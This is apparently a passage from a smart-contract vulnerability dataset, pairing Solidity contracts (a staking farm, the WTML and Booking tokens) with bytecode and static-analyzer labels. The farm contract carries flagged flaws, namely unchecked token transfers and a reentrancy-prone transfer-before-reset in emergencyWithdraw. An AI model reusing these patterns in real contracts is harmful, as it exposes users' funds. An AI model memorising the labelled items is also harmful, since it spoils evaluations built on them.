* @param _from_block the start of the period to measure rewards for
* @param _to the end of the period to measure rewards for
* @return The weighted multiplier for the given period
*/
function getMultiplier(uint256 _from_block, uint256 _to) public view returns (uint256) {
uint256 _from = _from_block >= farmInfo.startBlock ? _from_block : farmInfo.startBlock;
uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock;
if (to <= farmInfo.bonusEndBlock) {
return to.sub(_from).mul(farmInfo.bonus);
} else if (_from >= farmInfo.bonusEndBlock) {
return to.sub(_from);
} else {
return farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add(
to.sub(farmInfo.bonusEndBlock)
);
}
}
/**
* @notice function to see accumulated balance of reward token for specified user
* @param _user the user for whom unclaimed tokens will be shown
* @return total amount of withdrawable reward tokens
*/
function pendingReward(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShare = farmInfo.accRewardPerShare;
uint256 tokenSupply = farmInfo.token.balanceOf(address(this));
if (block.number > farmInfo.lastRewardBlock && tokenSupply != 0) {
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(tokenSupply));
}
return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);
}
/**
* @notice updates pool information to be up to date to the current block
*/
function updatePool() public {
if (block.number <= farmInfo.lastRewardBlock) {
return;
}
uint256 tokenSupply = farmInfo.token.balanceOf(address(this));
if (tokenSupply == 0) {
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
return;
}
uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);
uint256 tokenReward = multiplier.mul(farmInfo.blockReward);
farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(tokenSupply));
farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;
}
/**
* @notice deposit token function for msgSender
* @param _amount the total deposit amount
*/
function deposit(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
updatePool();
if (user.amount > 0) {
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msgSender, pending);
}
if (user.amount == 0 && _amount > 0) {
factory.userEnteredFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.add(1);
}
farmInfo.token.safeTransferFrom(address(msgSender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
emit Deposit(msgSender, _amount);
}
/**
* @notice withdraw token function for msgSender
* @param _amount the total withdrawable amount
*/
function withdraw(uint256 _amount) public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
require(user.amount >= _amount, "INSUFFICIENT");
updatePool();
if (user.amount == _amount && _amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);
safeRewardTransfer(msgSender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);
farmInfo.token.safeTransfer(address(msgSender), _amount);
emit Withdraw(msgSender, _amount);
}
/**
* @notice emergency functoin to withdraw tokens and forego harvest rewards. Important to protect users tokens
*/
function emergencyWithdraw() public {
address msgSender = _msgSender();
UserInfo storage user = userInfo[msgSender];
farmInfo.token.safeTransfer(address(msgSender), user.amount);
emit EmergencyWithdraw(msgSender, user.amount);
if (user.amount > 0) {
factory.userLeftFarm(msgSender);
farmInfo.numFarmers = farmInfo.numFarmers.sub(1);
}
user.amount = 0;
user.rewardDebt = 0;
}
/**
* @notice Safe reward transfer function, just in case a rounding error causes pool to not have enough reward tokens
* @param _to the user address to transfer tokens to
* @param _amount the total amount of tokens to transfer
*/
function safeRewardTransfer(address _to, uint256 _amount) internal {
uint256 rewardBal = farmInfo.rewardToken.balanceOf(farmInfo.rewardHolder);
if (_amount > rewardBal) {
farmInfo.rewardToken.transferFrom(farmInfo.rewardHolder, _to, rewardBal);
} else {
farmInfo.rewardToken.transferFrom(farmInfo.rewardHolder, _to, _amount);
}
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
|
0x608060405234801561001057600080fd5b50600436106100675760003560e01c8063399ae72411610050578063399ae724146100a5578063c5a41040146100e0578063f7c618c1146100fa57610067565b80632dd999961461006c57806336e9332d1461009d575b600080fd5b610074610102565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61007461011e565b6100de600480360360408110156100bb57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561013a565b005b6100e86101b8565b60408051918252519081900360200190f35b6100746101be565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b33610147838230856101da565b60015461016c90849073ffffffffffffffffffffffffffffffffffffffff16846103aa565b50600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9390931692909217909155600355565b60035481565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017815292518251600094606094938a169392918291908083835b602083106102b857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201916020918201910161027b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461031a576040519150601f19603f3d011682016040523d82523d6000602084013e61031f565b606091505b509150915081801561034d57508051158061034d575080806020019051602081101561034a57600080fd5b50515b6103a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806105886024913960400191505060405180910390fd5b505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b300000000000000000000000000000000000000000000000000000000178152925182516000946060949389169392918291908083835b6020831061048057805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610443565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b5091509150818015610515575080511580610515575080806020019051602081101561051257600080fd5b50515b61058057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b505050505056fe5472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a26469706673582212200f509e2550e01dfa92da2e879784f0085d1181ef4278571b24c480989763d4e564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,551 |
0x615710191709897062d5f9ea357abc53c11e3d40
|
/**
*Submitted for verification at Etherscan.io on 2021-03-22
*/
//token_Transactions 24396 txns
//token_price
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WTMLToken is PausableToken {
string public constant name = "wtml.finance";
string public constant symbol = "WTML";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_UNIT = 10 ** uint256(decimals);
uint256 public constant totalSupply = 10000 * TOKEN_UNIT;
function WTMLToken() public {
balances[owner] = totalSupply;
Transfer(address(0), owner, balances[owner]);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce567146102755780633f4ba83a146102a45780635c975abb146102b957806366188463146102e657806370a08231146103405780638456cb591461038d5780638da5cb5b146103a257806395d89b41146103f7578063a9059cbb14610485578063d73dd623146104df578063dd62ed3e14610539578063f2fde38b146105a5575b600080fd5b34156100f657600080fd5b6100fe6105de565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610617565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610647565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610656565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610688565b604051808260ff1660ff16815260200191505060405180910390f35b34156102af57600080fd5b6102b761068d565b005b34156102c457600080fd5b6102cc61074d565b604051808215151515815260200191505060405180910390f35b34156102f157600080fd5b610326600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610760565b604051808215151515815260200191505060405180910390f35b341561034b57600080fd5b610377600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610790565b6040518082815260200191505060405180910390f35b341561039857600080fd5b6103a06107d9565b005b34156103ad57600080fd5b6103b561089a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040257600080fd5b61040a6108c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044a57808201518184015260208101905061042f565b50505050905090810190601f1680156104775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049057600080fd5b6104c5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108f9565b604051808215151515815260200191505060405180910390f35b34156104ea57600080fd5b61051f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610929565b604051808215151515815260200191505060405180910390f35b341561054457600080fd5b61058f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b6040518082815260200191505060405180910390f35b34156105b057600080fd5b6105dc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109e0565b005b6040805190810160405280600c81526020017f77746d6c2e66696e616e6365000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561063557600080fd5b61063f8383610b38565b905092915050565b601260ff16600a0a6127100281565b6000600360149054906101000a900460ff1615151561067457600080fd5b61067f848484610c2a565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106e957600080fd5b600360149054906101000a900460ff16151561070457600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561077e57600080fd5b6107888383611024565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561083557600080fd5b600360149054906101000a900460ff1615151561085157600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f57544d4c0000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561091757600080fd5b61092183836112b5565b905092915050565b6000600360149054906101000a900460ff1615151561094757600080fd5b6109518383611514565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a7857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c6757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ca257600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cf057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d7b57600080fd5b610dcd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e6282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611135576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c9565b611148838261171090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112f257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561132d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561137b57600080fd5b6113cd82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115a582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561171e57fe5b818303905092915050565b600080828401905083811015151561173d57fe5b80915050929150505600a165627a7a72305820c31b5cd61602f695dab281c280c8753ee337395b1d84e2abaaf871014f1220ba0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 6,552 |
0x869db26297fe0def84e2a746c7f28159b8a29efc
|
pragma solidity ^0.4.25;
/**
* @title Booking Project
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Booking is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Booking";
string public constant symbol = "BKG";
uint public constant decimals = 8;
uint public deadline = now + 39 * 1 days;
uint public round2 = now + 36 * 1 days;
uint public round1 = now + 25 * 1 days;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 10000000e8;
uint public target0drop = 1100;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xebB3047e29b5725368305aAF517140fD9C3F23f1;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 7800000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
